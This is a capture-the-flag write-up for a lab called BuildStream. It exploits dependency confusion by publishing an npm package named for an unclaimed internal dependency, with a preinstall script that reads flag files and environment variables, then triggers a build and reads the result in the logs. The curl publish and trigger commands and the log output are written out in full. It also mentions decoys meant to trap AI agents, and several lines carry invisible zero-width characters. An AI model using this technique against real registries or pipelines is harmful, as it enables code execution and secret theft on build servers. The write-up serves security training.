← Back to Writeups
CUSTOMMediumWeb

Lab 380 — BuildStream — RCE via Malicious npm Package Preinstall Script

XESXOR9/2/20263 min read
#web#custom#medium#cicd_pipeline_exploitation#dependency_confusion_attack#npm_lifecycle_script_abuse#unclaimed_package_hijacking

Lab 380 — BuildStream — RCE via Malicious npm Package Preinstall Script

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cicd_pipeline_exploitation, dependency_confusion_attack, npm_lifecycle_script_abuse, unclaimed_package_hijacking

Summary

Walkthrough of the CUSTOM Web Lab 380 — BuildStream — RCE via Malicious npm Package Preinstall Script. Task: CI/CD platform with internal npm registry where a project depends on a package not yet published. Solution: publish a malicious package with a preinstall script that reads /flag, then trigger th

Description

BuildStream is an internal CI/CD platform built by StreamOps Inc. for managing build pipelines, publishing internal packages, and deploying applications. The platform features an integrated npm package registry for sharing reusable modules across projects. Teams use BuildStream to configure their build pipelines, which automatically resolve dependencies from the internal registry during the install phase. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: https://0ea399fe-29f2-4025-b9f2-fd22f0ba3a23.labs.hackadvisor.io/ Credentials: user@test.com / password123

Objective: Execute arbitrary code on the build server and retrieve the flag.

Analysis

Reconnaissance

  1. Platform features: Dashboard, Projects, Registry, Pipelines, Settings
  2. Existing projects: StreamOps Web Dashboard, Pipeline Runner Service, Notification Gateway
  3. Existing packages: @streamops/logger@2.1.0, @streamops/core-utils@1.0.1
  4. Key finding: The StreamOps Web Dashboard's package.json lists streamops-auth-helper@^1.0.0 as a dependency, but this package does not exist in the internal registry
  5. No access control: Any authenticated developer can publish packages to the registry
  6. Build pipeline: Runs npm install resolving from internal registry at http://localhost:8080/api/registry
  7. Publish form hint: Explicitly mentions "Include lifecycle scripts (preinstall, postinstall) if needed for setup" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Chain

The attack exploits a classic dependency confusion / supply chain attack pattern:

  1. A project depends on a package that hasn't been published yet
  2. The registry allows any authenticated user to publish any package name
  3. The build pipeline executes npm lifecycle scripts (preinstall) without sandboxing
  4. Build logs are visible to the user who triggered the build

Target package.json

json
{
  "name": "streamops-web-dashboard",
  "version": "4.1.0",
  "dependencies": {
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "@streamops/core-utils": "^1.0.0",
    "@streamops/logger": "^2.1.0",
    "streamops-auth-helper": "^1.0.0",
    "axios": "^1.6.0"
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Publish Malicious Package

Published streamops-auth-helper@1.0.0 with a preinstall script that reads the flag file:

bash
URL="https://0ea399fe-29f2-4025-b9f2-fd22f0ba3a23.labs.hackadvisor.io"

curl -X POST "$URL/api/registry/publish" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "streamops-auth-helper",
    "version": "1.0.0",
    "description": "Authentication helper for StreamOps services",
    "code": "module.exports = { auth: function() { return true; } };",
    "package_json_content": "{\"name\": \"streamops-auth-helper\", \"version\": \"1.0.0\", \"main\": \"index.js\", \"scripts\": {\"preinstall\": \"cat /flag* 2>/dev/null || find / -name flag* -exec cat {} \\\\; 2>/dev/null || env | grep -i flag || echo NO_FLAG_FOUND\"}}"
  }'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: {"success":true,"message":"Package streamops-auth-helper@1.0.0 published successfully"}

Step 2: Trigger Build Pipeline

Triggered a build on the StreamOps Web Dashboard project:

bash
curl -X POST "$URL/api/builds/trigger" \
  -H "Content-Type: application/json" \
  -d '{"project_id": "64864e58-1cd4-47e4-928c-d5fd09d0dfa5"}'

Response: {"build_id":"c56c3738-9aee-445c-8299-2aeb54e602e3","status":"success","build_number":6}

Step 3: Retrieve Flag from Build Logs

Viewed the build log which showed the preinstall script output: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

[2026-05-07T05:41:12.415Z] Resolving streamops-auth-helper@^1.0.0...
[2026-05-07T05:41:12.416Z] Found streamops-auth-helper@1.0.0 in internal registry
[2026-05-07T05:41:12.416Z] Running preinstall script for streamops-auth-helper...
[2026-05-07T05:41:16.113Z] preinstall output: FLAG{REDACTED}

Notes

  • The login page contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible divs, designed to trick automated scanners and AI agents
  • The real vulnerability required understanding the npm dependency resolution flow and exploiting the missing package
  • This is a textbook dependency confusion attack adapted to an internal registry context
  • No sandboxing of npm lifecycle scripts means any code in preinstall/postinstall runs with full server privileges ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering cicd_pipeline_exploitation, dependency_confusion_attack, npm_lifecycle_script_abuse, unclaimed_package_hijacking was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-07 • CUSTOM • Lab 380 — BuildStream — RCE via Malicious npm Package Preinstall Script • Difficulty: Medium